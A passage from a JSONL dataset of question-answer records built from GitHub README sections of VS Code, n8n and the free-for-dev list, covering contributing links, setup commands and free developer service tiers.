[Submitting pull requests](https://github.com/microsoft/vscode/wiki/How-to-Contribute#pull-requests)\n* [Finding an issue to work on](https://github.com/microsoft/vscode/wiki/How-to-Contribute#where-to-contribute)\n* [Contributing to translations](https://aka.ms/vscodeloc)", "tags": ["microsoft"], "source": "github_gists", "category": "microsoft", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 180745, "answer_score": 10, "has_code": false, "url": "https://github.com/microsoft/vscode", "collected_at": "2026-01-16T23:29:31.422784"}
{"id": "gh_578d3e4dfd04", "question": "How to: Related Projects", "question_body": "About microsoft/vscode", "answer": "Many of the core components and extensions to VS Code live in their own repositories on GitHub. For example, the [node debug adapter](https://github.com/microsoft/vscode-node-debug) and the [mono debug adapter](https://github.com/microsoft/vscode-mono-debug) repositories are separate from each other. For a complete list, please visit the [Related Projects](https://github.com/microsoft/vscode/wiki/Related-Projects) page on our [wiki](https://github.com/microsoft/vscode/wiki).", "tags": ["microsoft"], "source": "github_gists", "category": "microsoft", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 180745, "answer_score": 10, "has_code": false, "url": "https://github.com/microsoft/vscode", "collected_at": "2026-01-16T23:29:31.422791"}
{"id": "gh_fb10253dd977", "question": "How to: Bundled Extensions", "question_body": "About microsoft/vscode", "answer": "VS Code includes a set of built-in extensions located in the [extensions](extensions) folder, including grammars and snippets for many languages. Extensions that provide rich language support (inline suggestions, Go to Definition) for a language have the suffix `language-features`. For example, the `json` extension provides coloring for `JSON` and the `json-language-features` extension provides rich language support for `JSON`.", "tags": ["microsoft"], "source": "github_gists", "category": "microsoft", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 180745, "answer_score": 10, "has_code": false, "url": "https://github.com/microsoft/vscode", "collected_at": "2026-01-16T23:29:31.422797"}
{"id": "gh_5cb035a3f3c2", "question": "How to: Development Container", "question_body": "About microsoft/vscode", "answer": "This repository includes a Visual Studio Code Dev Containers / GitHub Codespaces development container.\n\n* For [Dev Containers](https://aka.ms/vscode-remote/download/containers), use the **Dev Containers: Clone Repository in Container Volume...** command which creates a Docker volume for better disk I/O on macOS and Windows.\n  * If you already have VS Code and Docker installed, you can also click [here](https://vscode.dev/redirect?url=vscode://ms-vscode-remote.remote-containers/cloneInVolume?url=https://github.com/microsoft/vscode) to get started. This will cause VS Code to automatically install the Dev Containers extension if needed, clone the source code into a container volume, and spin up a dev container for use.\n\n* For Codespaces, install the [GitHub Codespaces](https://marketplace.visualstudio.com/items?itemName=GitHub.codespaces) extension in VS Code, and use the **Codespaces: Create New Codespace** command.\n\nDocker / the Codespace should have at least **4 Cores and 6 GB of RAM (8 GB recommended)** to run a full build. See the [development container README](.devcontainer/README.md) for more information.", "tags": ["microsoft"], "source": "github_gists", "category": "microsoft", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 180745, "answer_score": 10, "has_code": false, "url": "https://github.com/microsoft/vscode", "collected_at": "2026-01-16T23:29:31.422805"}
{"id": "gh_2aaeb2ecf300", "question": "How to: Code of Conduct", "question_body": "About microsoft/vscode", "answer": "This project has adopted the [Microsoft Open Source Code of Conduct](https://opensource.microsoft.com/codeofconduct/). For more information see the [Code of Conduct FAQ](https://opensource.microsoft.com/codeofconduct/faq/) or contact [opencode@microsoft.com](mailto:opencode@microsoft.com) with any additional questions or comments.", "tags": ["microsoft"], "source": "github_gists", "category": "microsoft", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 180745, "answer_score": 10, "has_code": false, "url": "https://github.com/microsoft/vscode", "collected_at": "2026-01-16T23:29:31.422810"}
{"id": "gh_38e4b0201c82", "question": "How to: n8n - Secure Workflow Automation for Technical Teams", "question_body": "About n8n-io/n8n", "answer": "n8n is a workflow automation platform that gives technical teams the flexibility of code with the speed of no-code. With 400+ integrations, native AI capabilities, and a fair-code license, n8n lets you build powerful automations while maintaining full control over your data and deployments.\n\n![n8n.io - Screenshot](https://raw.githubusercontent.com/n8n-io/n8n/master/assets/n8n-screenshot-readme.png)", "tags": ["n8n-io"], "source": "github_gists", "category": "n8n-io", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 169477, "answer_score": 10, "has_code": false, "url": "https://github.com/n8n-io/n8n", "collected_at": "2026-01-16T23:29:32.837687"}
{"id": "gh_3b67299365c1", "question": "How to: Key Capabilities", "question_body": "About n8n-io/n8n", "answer": "- **Code When You Need It**: Write JavaScript/Python, add npm packages, or use the visual interface\n- **AI-Native Platform**: Build AI agent workflows based on LangChain with your own data and models\n- **Full Control**: Self-host with our fair-code license or use our [cloud offering](https://app.n8n.cloud/login)\n- **Enterprise-Ready**: Advanced permissions, SSO, and air-gapped deployments\n- **Active Community**: 400+ integrations and 900+ ready-to-use [templates](https://n8n.io/workflows)", "tags": ["n8n-io"], "source": "github_gists", "category": "n8n-io", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 169477, "answer_score": 10, "has_code": false, "url": "https://github.com/n8n-io/n8n", "collected_at": "2026-01-16T23:29:32.837700"}
{"id": "gh_2b109bb1e7c7", "question": "How to: Quick Start", "question_body": "About n8n-io/n8n", "answer": "Try n8n instantly with [npx](https://docs.n8n.io/hosting/installation/npm/) (requires [Node.js](https://nodejs.org/en/)):\n\n```\nnpx n8n\n```\n\nOr deploy with [Docker](https://docs.n8n.io/hosting/installation/docker/):\n\n```\ndocker volume create n8n_data\ndocker run -it --rm --name n8n -p 5678:5678 -v n8n_data:/home/node/.n8n docker.n8n.io/n8nio/n8n\n```\n\nAccess the editor at http://localhost:5678", "tags": ["n8n-io"], "source": "github_gists", "category": "n8n-io", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 169477, "answer_score": 10, "has_code": true, "url": "https://github.com/n8n-io/n8n", "collected_at": "2026-01-16T23:29:32.837706"}
{"id": "gh_1d59c92e2a41", "question": "How to: Contributing", "question_body": "About n8n-io/n8n", "answer": "Found a bug 🐛 or have a feature idea ✨? Check our [Contributing Guide](https://github.com/n8n-io/n8n/blob/master/CONTRIBUTING.md) to get started.", "tags": ["n8n-io"], "source": "github_gists", "category": "n8n-io", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 169477, "answer_score": 10, "has_code": false, "url": "https://github.com/n8n-io/n8n", "collected_at": "2026-01-16T23:29:32.837717"}
{"id": "gh_6e840ad16a47", "question": "How to: Join the Team", "question_body": "About n8n-io/n8n", "answer": "Want to shape the future of automation? Check out our [job posts](https://n8n.io/careers) and join our team!", "tags": ["n8n-io"], "source": "github_gists", "category": "n8n-io", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 169477, "answer_score": 10, "has_code": false, "url": "https://github.com/n8n-io/n8n", "collected_at": "2026-01-16T23:29:32.837722"}
{"id": "gh_d44782665846", "question": "How to: What does n8n mean?", "question_body": "About n8n-io/n8n", "answer": "**Short answer:** It means \"nodemation\" and is pronounced as n-eight-n.\n\n**Long answer:** \"I get that question quite often (more often than I expected) so I decided it is probably best to answer it here. While looking for a good name for the project with a free domain I realized very quickly that all the good ones I could think of were already taken. So, in the end, I chose nodemation. 'node-' in the sense that it uses a Node-View and that it uses Node.js and '-mation' for 'automation' which is what the project is supposed to help with. However, I did not like how long the name was and I could not imagine writing something that long every time in the CLI. That is when I then ended up on 'n8n'.\" - **Jan Oberhauser, Founder and CEO, n8n.io**", "tags": ["n8n-io"], "source": "github_gists", "category": "n8n-io", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 169477, "answer_score": 10, "has_code": false, "url": "https://github.com/n8n-io/n8n", "collected_at": "2026-01-16T23:29:32.837729"}
{"id": "gh_a7debd6863f2", "question": "How to: Table of Contents", "question_body": "About ripienaar/free-for-dev", "answer": "* [Major Cloud Providers' Always-Free Limits](#major-cloud-providers)\n  * [Cloud management solutions](#cloud-management-solutions)\n  * [Analytics, Events, and Statistics](#analytics-events-and-statistics)\n  * [APIs, Data and ML](#apis-data-and-ml)\n  * [Artifact Repos](#artifact-repos)\n  * [BaaS](#baas)\n  * [Low-code Platform](#low-code-platform)\n  * [CDN and Protection](#cdn-and-protection)\n  * [CI and CD](#ci-and-cd)\n  * [CMS](#cms)\n  * [Code Generation](#code-generation)\n  * [Code Quality](#code-quality)\n  * [Code Search and Browsing](#code-search-and-browsing)\n  * [Crash and Exception Handling](#crash-and-exception-handling)\n  * [Data Visualization on Maps](#data-visualization-on-maps)\n  * [Managed Data Services](#managed-data-services)\n  * [Design and UI](#design-and-ui)\n  * [Design Inspiration](#design-inspiration)\n  * [Dev Blogging Sites](#dev-blogging-sites)\n  * [DNS](#dns)\n  * [Docker Related](#docker-related)\n  * [Domain](#domain)\n  * [Education and Career Development](#education-and-career-development)\n  * [Email](#email)\n  * [Feature Toggles Management Platforms](#feature-toggles-management-platforms)\n  * [Font](#font)\n  * [Forms](#forms)\n  * [Generative AI](#generative-ai)\n  * [IaaS](#iaas)\n  * [IDE and Code Editing](#ide-and-code-editing)\n  * [International Mobile Number Verification API and SDK](#international-mobile-number-verification-api-and-sdk)\n  * [Issue Tracking and Project Management](#issue-tracking-and-project-management)\n  * [Log Management](#log-management)\n  * [Mobile App Distribution and Feedback](#mobile-app-distribution-and-feedback)\n  * [Management Systems](#management-system)\n  * [Messaging and Streaming](#messaging-and-streaming)\n  * [Miscellaneous](#miscellaneous)\n  * [Monitoring](#monitoring)\n  * [PaaS](#paas)\n  * [Package Build System](#package-build-system)\n  * [Payment and Billing Integration](#payment-and-billing-integration)\n  * [Privacy Management](#privacy-management)\n  * [Screenshot APIs](#screenshot-apis)\n  * [Flutter Related and Building IOS Apps without Mac](#flutter-related-and-building-ios-apps-without-mac)\n  * [Search](#search)\n  * [Security and PKI](#security-and-pki)\n  * [Authentication, Authorization, and User Management](#authentication-authorization-and-user-management)\n  * [Source Code Repos](#source-code-repos)\n  * [Storage and Media Processing](#storage-and-media-processing)\n  * [Tunneling, WebRTC, Web Socket Servers and Other Routers](#tunneling-webrtc-web-socket-servers-and-other-routers)\n  * [Testing](#testing)\n  * [Tools for Teams and Collaboration](#tools-for-teams-and-collaboration)\n  * [Translation Management](#translation-management)\n  * [Visitor Session Recording](#visitor-session-recording)\n  * [Web Hosting](#web-hosting)\n  * [Commenting Platforms](#commenting-platforms)\n  * [Browser based hardware emulation](#browser-based-hardware-emulation-written-in-javascript)\n  * [Remote Desktop Tools](#remote-desktop-tools)\n  * [Game Development](#game-development)\n  * [Other Free Resources](#other-free-resources)", "tags": ["ripienaar"], "source": "github_gists", "category": "ripienaar", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 117333, "answer_score": 10, "has_code": false, "url": "https://github.com/ripienaar/free-for-dev", "collected_at": "2026-01-16T23:29:38.601378"}
{"id": "gh_68ddfeccf0de", "question": "How to: Major Cloud Providers", "question_body": "About ripienaar/free-for-dev", "answer": "* [Google Cloud Platform](https://cloud.google.com)\n    * App Engine - 28 frontend instance hours per day, nine backend instance hours per day\n    * Cloud Firestore - 1GB storage, 50,000 reads, 20,000 writes, 20,000 deletes per day\n    * Compute Engine - 1 non-preemptible e2-micro, 30GB HDD, 5GB snapshot storage (restricted to certain regions), 1 GB network egress from North America to all region destinations (excluding China and Australia) per month\n    * Cloud Storage - 5GB, 1GB network egress\n    * Cloud Shell - Web-based Linux shell/primary IDE with 5GB of persistent storage. 60 hours limit per week\n    * Cloud Pub/Sub - 10GB of messages per month\n    * Cloud Functions - 2 million invocations per month (includes both background and HTTP invocations)\n    * Cloud Run - 2 million requests per month, 360,000 GB-seconds memory, 180,000 vCPU-seconds of compute time, 1 GB network egress from North America per month\n    * Google Kubernetes Engine - No cluster management fee for one zonal cluster. Each user node is charged at standard Compute Engine pricing\n    * BigQuery - 1 TB of querying per month, 10 GB of storage each month\n    * Cloud Build - 120 build-minutes per day\n    * Cloud Source Repositories - Up to 5 Users, 50 GB Storage, 50 GB Egress\n    * [Google Colab](https://colab.research.google.com/) - Free Jupyter Notebooks development environment.\n    * [Firebase Studio](https://firebase.studio) Google Firebase Studio (formerly Project IDX). Online VSCode running on Google Cloud.\n    * Full, detailed list - https://cloud.google.com/free\n\n  * [Amazon Web Services](https://aws.amazon.com)\n    * [CloudFront](https://aws.amazon.com/cloudfront/) - 1TB egress per month and 2M Function invocations per month\n    * [CloudWatch](https://aws.amazon.com/cloudwatch/) - 10 custom metrics and ten alarms\n    * [CodeBuild](https://aws.amazon.com/codebuild/) - 100min of build time per month\n    * [CodeCommit](https://aws.amazon.com/codecommit/) - 5 active users,50GB storage, and 10000 requests per month\n    * [CodePipeline](https://aws.amazon.com/codepipeline/) - 1 active pipeline per month\n    * [DynamoDB](https://aws.amazon.com/dynamodb/) - 25GB NoSQL DB\n    * [EC2](https://aws.amazon.com/ec2/) - 750 hours per month of t2.micro or t3.micro(12mo). 100GB egress per month\n    * [EBS](https://aws.amazon.com/ebs/) - 30GB per month of General Purpose (SSD) or Magnetic(12mo)\n    * [Elastic Load Balancing](https://aws.amazon.com/elasticloadbalancing/) - 750 hours per month(12mo)\n    * [RDS](https://aws.amazon.com/rds/) - 750 hours per month of db.t2.micro, db.t3.micro, or db.t4g.micro, 20GB of General Purpose (SSD) storage, 20GB of storage backups(12 mo)\n    * [S3](https://aws.amazon.com/s3/) - 5GB Standard object storage, 20K Get requests and 2K Put requests(12 mo)\n    * [Glacier](https://aws.amazon.com/glacier/) - 10GB long-term object storage\n    * [Lambda](https://aws.amazon.com/lambda/) - 1 million requests per month\n    * [SNS](https://aws.amazon.com/sns/) - 1 million publishes per month\n    * [SES](https://aws.amazon.com/ses/) - 3.000 messages per month (12mo)\n    * [SQS](https://aws.amazon.com/sqs/) - 1 million messaging queue requests\n    * Full, detailed list - https://aws.amazon.com/free/\n\n  * [Microsoft Azure](https://azure.microsoft.com)\n    * [Virtual Machines](https://azure.microsoft.com/services/virtual-machines/) - 1 B1S Linux VM, 1 B1S Windows VM (12mo)\n    * [App Service](https://azure.microsoft.com/services/app-service/) - 10 web, mobile, or API apps (60 CPU minutes/day)\n    * [Functions](https://azure.microsoft.com/services/functions/) - 1 million requests per month\n    * [DevTest Labs](https://azure.microsoft.com/services/devtest-lab/) - Enable fast, easy, and lean dev-test environments\n    * [Active Directory](https://azure.microsoft.com/services/active-directory/) - 500,000 objects\n    * [Active Directory B2C](https://azure.microsoft.com/services/active-directory/external-identities/b2c/) - 50,000 monthly stored users\n    * [Azure DevOps](https://azure.microsoft.com/services/devops/) - 5 active users, unlimited private Git repos\n    * [Azure Pipelines](https://azure.microsoft.com/services/devops/pipelines/) — 10 free parallel jobs with unlimited minutes for open source for Linux, macOS, and Windows\n    * [Microsoft IoT Hub](https://azure.microsoft.com/services/iot-hub/) - 8,000 messages per day\n    * [Load Balancer](https://azure.microsoft.com/services/load-balancer/) - 1 free public load-balanced IP (VIP)\n    * [Notification Hubs](https://azure.microsoft.com/services/notification-hubs/) - 1 million push notifications\n    * [Bandwidth](https://azure.microsoft.com/pricing/details/bandwidth/) - 15GB Inbound(12mo) & 5GB egress per month\n    * [Cosmos DB](https://azure.microsoft.com/services/cosmos-db/) - 25GB storage and 1000 RUs of provisioned throughput\n    * [Static Web Apps](https://azure.microsoft.com/pricing/details/app-service/static/) — Build, deploy, and host static apps and serverless functions wit", "tags": ["ripienaar"], "source": "github_gists", "category": "ripienaar", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 117333, "answer_score": 10, "has_code": true, "url": "https://github.com/ripienaar/free-for-dev", "collected_at": "2026-01-16T23:29:38.601429"}
{"id": "gh_9aa577e79c4d", "question": "How to: Cloud management solutions", "question_body": "About ripienaar/free-for-dev", "answer": "* [Brainboard](https://www.brainboard.co) - Collaborative solution to visually build and manage cloud infrastructures from end-to-end.\n  * [Cloud 66](https://www.cloud66.com/) - Free for personal projects (includes one deployment server, one static site), Cloud 66 gives you everything you need to build, deploy, and grow your applications on any cloud without the headache of the “server stuff.”.\n  * [deployment.io](https://deployment.io) - Deployment.io helps developers automate deployments on AWS. On our free tier, a developer (single user) can deploy unlimited static sites, web services, and environments. We provide 10 job executions free per month with previews and auto-deploys included in the free tier.\n  * [Pulumi](https://www.pulumi.com/) — Modern infrastructure as a code platform that allows you to use familiar programming languages and tools to build, deploy, and manage cloud infrastructure.\n  * [scalr.com](https://scalr.com/) - Scalr is a Terraform Automation and COllaboration (TACO) product used to better collaboration and automation on infrastructure and configurations managed by Terraform. Full Terraform CLI support, OPA integration, and a hierarchical configuration model. No SSO tax. All features are included. Use up to 50 runs/month for free.\n\n**[⬆️ Back to Top](#table-of-contents)**", "tags": ["ripienaar"], "source": "github_gists", "category": "ripienaar", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 117333, "answer_score": 10, "has_code": false, "url": "https://github.com/ripienaar/free-for-dev", "collected_at": "2026-01-16T23:29:38.601439"}
{"id": "gh_ef8b5a35d500", "question": "How to: Source Code Repos", "question_body": "About ripienaar/free-for-dev", "answer": "* [Bitbucket](https://bitbucket.org/) — Unlimited public and private Git repos for up to 5 users with Pipelines for CI/CD\n  * [Codeberg](https://codeberg.org/) — Unlimited public and private Git repos for free and open-source projects (with unlimited collaborators). Powered by [Forgejo](https://forgejo.org/). Static website hosting with [Codeberg Pages](https://codeberg.page/). CI/CD hosting with [Codeberg's CI](https://docs.codeberg.org/ci/). Translating hosting with [Codeberg Translate](https://translate.codeberg.org/). Includes Package and Container hosting, Project management, and Issue Tracking\n  * [framagit.org](https://framagit.org/) — Framagit is the software forge of Framasoft based on the Gitlab software includes CI, Static Pages, Project pages and Issue tracking.\n  * [GitGud](https://gitgud.io) — Unlimited private and public repositories. Free forever. Powered by GitLab & Sapphire. CI/CD not provided.\n  * [GitHub](https://github.com/) — Unlimited public repositories and unlimited private repositories (with unlimited collaborators). Includes CI/CD, Development Environment, Static Hosting, Package and Container hosting, Project management and AI Copilot\n  * [gitlab.com](https://about.gitlab.com/) — Unlimited public and private Git repos with up to 5 collaborators. Includes CI/CD, Static Hosting, Container Registry, Project Management and Issue Tracking\n  * [heptapod.net](https://foss.heptapod.net/) — Heptapod is a friendly fork of GitLab Community Edition providing support for Mercurial\n  * [Pagure.io](https://pagure.io) — Pagure.io is a free and open source software code collaboration platform for FOSS-licensed projects, Git-based\n  * [pijul.com](https://pijul.com/) - Unlimited free and open source distributed version control system. Its distinctive feature is based on a sound theory of patches, which makes it easy to learn, use, and distribute. Solves many problems of git/hg/svn/darcs.\n  * [projectlocker.com](https://projectlocker.com) — One free private project (Git and Subversion) with 50 MB of space\n  * [RocketGit](https://rocketgit.com) — Repository Hosting based on Git. Unlimited Public and private repositories.\n  * [savannah.gnu.org](https://savannah.gnu.org/) - Serves as a collaborative software development management system for free Software projects (for GNU Projects)\n  * [savannah.nongnu.org](https://savannah.nongnu.org/) - Serves as a collaborative software development management system for free Software projects (for non-GNU projects)\n\n**[⬆️ Back to Top](#table-of-contents)**", "tags": ["ripienaar"], "source": "github_gists", "category": "ripienaar", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 117333, "answer_score": 10, "has_code": false, "url": "https://github.com/ripienaar/free-for-dev", "collected_at": "2026-01-16T23:29:38.601451"}
{"id": "gh_05eacbe0d21d", "question": "How to: APIs, Data, and ML", "question_body": "About ripienaar/free-for-dev", "answer": "* [Abstract API](https://www.abstractapi.com) — API suite for various use cases, including IP geolocation, gender detection, or email validation.\n  * [Apify](https://www.apify.com/) — Web scraping and automation platform to create an API for any website and extract data. Ready-made scrapers, integrated proxies, and custom solutions. Free plan with $5 platform credits included every month.\n  * [APITemplate.io](https://apitemplate.io) - Auto-generate images and PDF documents with a simple API or automation tools like Zapier & Airtable. No CSS/HTML is required. The free plan comes with 50 images/month and three templates.\n  * [APIVerve](https://apiverve.com) - Get instant access to over 120+ APIs for free, built with quality, consistency, and reliability in mind. The free plan covers up to 50 API Tokens per month. (Possibly taken down, 2025-06-25)\n  * [Arize AI](https://arize.com/) - Machine learning observability for model monitoring and root-causing issues such as data quality and performance drift. Free up to two models.\n  * [Beeceptor](https://beeceptor.com) - No-code, cloud-based platform for mocking and debugging multi-protocol APIs (REST, SOAP, gRPC & GraphQL), providing instant servers with rules-based logic, CRUD & stateful mocking, proxying, and CORS management for faster integration and testing. The free plan includes 50 requests per day and provides a public dashboard/endpoint where anyone with the dashboard URL can view submitted requests and responses.\n  * [BigDataCloud](https://www.bigdatacloud.com/) - Provides fast, accurate, and free (Unlimited or up to 10K-50K/month) APIs for modern web like IP Geolocation, Reverse Geocoding, Networking Insights, Email and Phone Validation, Client Info and more.\n  * [Browse AI](https://www.browse.ai) — Extracting and monitoring data on the web. 1k credits per month for free, equals 1k concurrent requests.\n  * [BrowserCat](https://www.browsercat.com) - Headless browser API for automation, scraping, AI agent web access, image/pdf generation, and more. Free plan with 1k requests per month.\n  * [Calendarific](https://calendarific.com) - Enterprise-grade Public holiday API service for over 200 countries. The free plan includes 500 calls per month.\n  * [Canopy](https://www.canopyapi.co/) - GraphQL API for Amazon.com product, search, and category data. The free plan includes 100 calls per month.\n  * [CarAPI.dev](https://carapi.dev) — Comprehensive automotive data API with VIN decoding, stolen vehicle checks, vehicle valuation, inspection data, and more. Free tier includes 100 requests/month across all 9 endpoints.\n  * [Cloudmersive](https://cloudmersive.com/) — Utility API platform with full access to expansive API Library including Document Conversion, Virus Scanning, and more with 600 calls/month, North America AZ only, 2.5MB maximum file size.\n  * [Colaboratory](https://colab.research.google.com) — Free web-based Python notebook environment with Nvidia Tesla K80 GPU.\n  * [CometML](https://www.comet.com/site/) - The MLOps platform for experiment tracking, model production management, model registry, and complete data lineage, covering your workflow from training to production. Free for individuals and academics.\n  * [Commerce Layer](https://commercelayer.io) - Composable commerce API that can build, place, and manage orders from any front end. The developer plan allows 100 orders per month and up to 1,000 SKUs for free.\n  * [Composio](https://composio.dev/) - Integration platform for AI Agents and LLMs. Integrate over 200+ tools across the agentic internet.\n  * [Conversion Tools](https://conversiontools.io/) - Online File Converter for documents, images, video, audio, and eBooks. REST API is available. Libraries for Node.js, PHP, Python. Support files up to 50 GB (for paid plans). The free tier is limited by file size (20MB) and number of conversions (30/Day, 300/Month).\n  * [Country-State-City Microservice API](https://country-state-city.rebuscando.info/) - API and Microservice to provides a wide range of information including countries, regions, provinces, cities, postal codes, and much more. The free tier includes up to 100 requests per day.\n  * [Coupler](https://www.coupler.io/) - Data integration tool that syncs between apps. It can create live dashboards and reports, transform and manipulate values, and collect and back up insights. The free plan is limited to one user, data connection, data source, and data destination. Also requires manual data refresh.\n  * [CraftMyPDF](https://craftmypdf.com) - Auto-Generate PDF documents from reusable templates with a drop-and-drop editor and a simple API. The free plan comes with 100 PDFs/month and three templates.\n  * [Cube](https://cube.dev/) - Cube helps data engineers and application developers access data from modern data stores, organize it into consistent definitions, and deliver it to every application. The fastest way to use Cube is with Cube Cloud, which has a free tier limited to 1,000 queries per day.\n  * [C", "tags": ["ripienaar"], "source": "github_gists", "category": "ripienaar", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 117333, "answer_score": 10, "has_code": false, "url": "https://github.com/ripienaar/free-for-dev", "collected_at": "2026-01-16T23:29:38.601520"}
{"id": "gh_06c761820545", "question": "How to: Artifact Repos", "question_body": "About ripienaar/free-for-dev", "answer": "* [Gemfury](https://gemfury.com) — Private and public artifact repos for Maven, PyPi, NPM, Go Module, Nuget, APT, and RPM repositories. Free for public projects.\n  * [jitpack.io](https://jitpack.io/) — Maven repository for JVM and Android projects on GitHub, free for public projects.\n  * [paperspace](https://www.paperspace.com/) — Build & scale AI models, Develop, train, and deploy AI applications, free plan: public projects, 5Gb storage, basic instances.\n  * [RepoFlow](https://repoflow.io) - RepoFlow Simplifies package management with support for npm, PyPI, Docker, Go, Helm, and more. Try it for free with 10GB storage, 10GB bandwidth, 100 packages, and unlimited users in the cloud, or self-hosted for personal use only.\n  * [RepoForge](https://repoforge.io) - Private cloud-hosted repository for Python, Debian, NPM packages and Docker registries. Free plan for open source/public projects.\n  * [repsy.io](https://repsy.io) — 1 GB Free private/public Maven Repository.\n\n**[⬆️ Back to Top](#table-of-contents)**", "tags": ["ripienaar"], "source": "github_gists", "category": "ripienaar", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 117333, "answer_score": 10, "has_code": false, "url": "https://github.com/ripienaar/free-for-dev", "collected_at": "2026-01-16T23:29:38.601529"}
{"id": "gh_aaf26bc1a542", "question": "How to: Tools for Teams and Collaboration", "question_body": "About ripienaar/free-for-dev", "answer": "* [3Cols](https://3cols.com/) - A free cloud-based code snippet manager for personal and collaborative code.\n  * [BookmarkOS.com](https://bookmarkos.com) - Free all-on-one bookmark manager, tab manager, and task manager in a customizable online desktop with folder collaboration.\n  * [Braid](https://www.braidchat.com/) — Chat app designed for teams. Free for public access group, unlimited users, history, and integrations. also, it provides a self-hostable open-source version.\n  * [Calendly](https://calendly.com) — Calendly is the tool for connecting and scheduling meetings. The free plan provides 1 Calendar connection per user and Unlimited sessions. Desktop and Mobile apps are also offered.\n  * [cally.com](https://cally.com/) — Find the perfect time and date for a meeting. Simple to use, works great for small and large groups.\n  * [Chanty.com](https://chanty.com/) — Chanty is another alternative to Slack. It has a free forever plan for small teams (up to 10) with unlimited public and private conversations, searchable history, unlimited 1:1 audio calls, unlimited voice messages, ten integrations, and 20 GB storage per team.\n  * [DevToolLab](https://devtoollab.com) — Online developer tools offering free access to all basic tools, with the ability to auto save one entry per tool, standard processing speed, and community support.\n  * [Discord](https://discord.com/) — Chat with public/private rooms. Markdown text, voice, video, and screen sharing capabilities. Free for unlimited users.\n  * [Dubble](https://dubble.so/) — Free Step-by-Step Guide creator. Take screenshots, document processes and colloborate with your team. Also supports async screen recording.\n  * [Duckly](https://duckly.com/) — Talk and collaborate in real time with your team. Pair programming with IDE, terminal sharing, voice, video, and screen sharing. Free for small teams.\n  * [element.io](https://element.io/) — A decentralized and open-source communication tool built on Matrix. Group chats, direct messaging, encrypted file transfers, voice and video chats, and easy integration with other services.\n  * [evernote.com](https://evernote.com/) — Tool for organizing information. Share your notes and work together with others\n  * [Fibery](https://fibery.io/) — Connected workspace platform. Free for single users, up to 2 GB disk space.\n  * [Fibo](https://fibo.dev) - A free online realtime scrum poker tool for agile teams that lets unlimited members estimate story points for faster planning.\n  * [Fizzy](https://www.fizzy.do/) - Kanban-based platform for project management and issue tracking. Create public boards, set up webhooks, use card stamping, and track unlimited users — free for up to 1000 items.\n  * [flat.social](https://flat.social) - Interactive customizable spaces for team meetings & happy hours socials. Unlimited meetings, free up to 8 concurrent users.\n  * [flock.com](https://flock.com) — A faster way for your team to communicate. Free Unlimited Messages, Channels, Users, Apps & Integrations\n  * [GitBook](https://www.gitbook.com/) — Platform for capturing and documenting technical knowledge — from product docs to internal knowledge bases and APIs. Free plan for individual developers.\n  * [GitDailies](https://gitdailies.com) - Daily reports of your team's Commit and Pull Request activity on GitHub. Includes Push visualizer, peer recognition system, and custom alert builder. The free tier has unlimited users, three repos, and 3 alert configs.\n  * [gitter.im](https://gitter.im/) — Chat, for GitHub. Unlimited public and private rooms, free for teams of up to 25\n  * [gokanban.io](https://gokanban.io) - Syntax-based, no registration Kanban Board for fast use. Free with no limitations.\n  * [Hackmd.io](https://hackmd.io/) - Real time collaboration & writing tool for markdown format docs/files. Like Google Docs but for markdown files. Free unlimited number of \"notes\", but the number of collaborators (invitee) for private notes & template [will be limited](https://hackmd.io/pricing).\n  * [HeySpace](https://hey.space) - Task management tool with chat, calendar, timeline and video calls. Free for up to 5 users.\n  * [Huly](https://huly.io/) - All-in-One Project Management Platform (alternative to Linear, Jira, Slack, Notion, Motion) - unlimited users, 10GB storage per workspace, 10GB video(audio) traffic.\n  * [Keybase](https://keybase.io/) — Keybase is a FOSS alternative to Slack; it keeps everyone's chats and files safe, from families to communities to companies.\n  * [Linkinize](https://linkinize.com) — Bookmark manager for teams with tagging, multi-workspaces, and collaboration. Free plan includes 4 workspaces and 10 team members.\n  * [Lockitbot](https://www.lockitbot.com/) — Reserve and lock shared resources within Slack like Rooms, Dev environments , servers etc. Free for upto 2 resources\n  * [meet.jit.si](https://meet.jit.si/) — One-click video conversations, and screen sharing, for free\n  * [Miro](https://miro.com/) - Scalable, secure, cross-devic", "tags": ["ripienaar"], "source": "github_gists", "category": "ripienaar", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 117333, "answer_score": 10, "has_code": false, "url": "https://github.com/ripienaar/free-for-dev", "collected_at": "2026-01-16T23:29:38.601563"}
{"id": "gh_435e68de4571", "question": "How to: Code Generation", "question_body": "About ripienaar/free-for-dev", "answer": "* [Appinvento](https://appinvento.io/) — A free no-code app builder. It provides complete access to the automatically generated backend source code and allows for unlimited APIs and routes. The free plan includes three projects and five tables.\n* [DhiWise](https://www.dhiwise.com/) — Converts Figma designs into dynamic Flutter and React applications. Its code generation technology is designed to optimize workflows for building production-ready mobile and web experiences.\n* [Karbon Sites](https://www.karbonsites.space) — An AI-powered site builder and editor that generates production-ready frontend code from text prompts, sketches, or resumes. Features include native Android (APK) export and a free tier with 5 generations per month (unlimited via custom Gemini API key).\n* [Metalama](https://www.postsharp.net/metalama) — A C#-specific tool that generates boilerplate code on the fly during compilation to keep source code clean. It is free for open-source projects; its commercial-friendly free tier includes up to three aspects.\n* [Supermaven](https://www.supermaven.com/) — A high-speed AI code completion plugin for VS Code, JetBrains, and Neovim. The free tier provides unlimited inline completions with a focus on ultra-low latency.\n* [v0.dev](https://v0.dev/) — Created by Vercel, v0 generates copy-and-paste friendly React code using shadcn/ui and Tailwind CSS. It uses a credit system, providing 1,200 starting credits and 200 free credits monthly.\n\n**[⬆️ Back to Top](#table-of-contents)**", "tags": ["ripienaar"], "source": "github_gists", "category": "ripienaar", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 117333, "answer_score": 10, "has_code": false, "url": "https://github.com/ripienaar/free-for-dev", "collected_at": 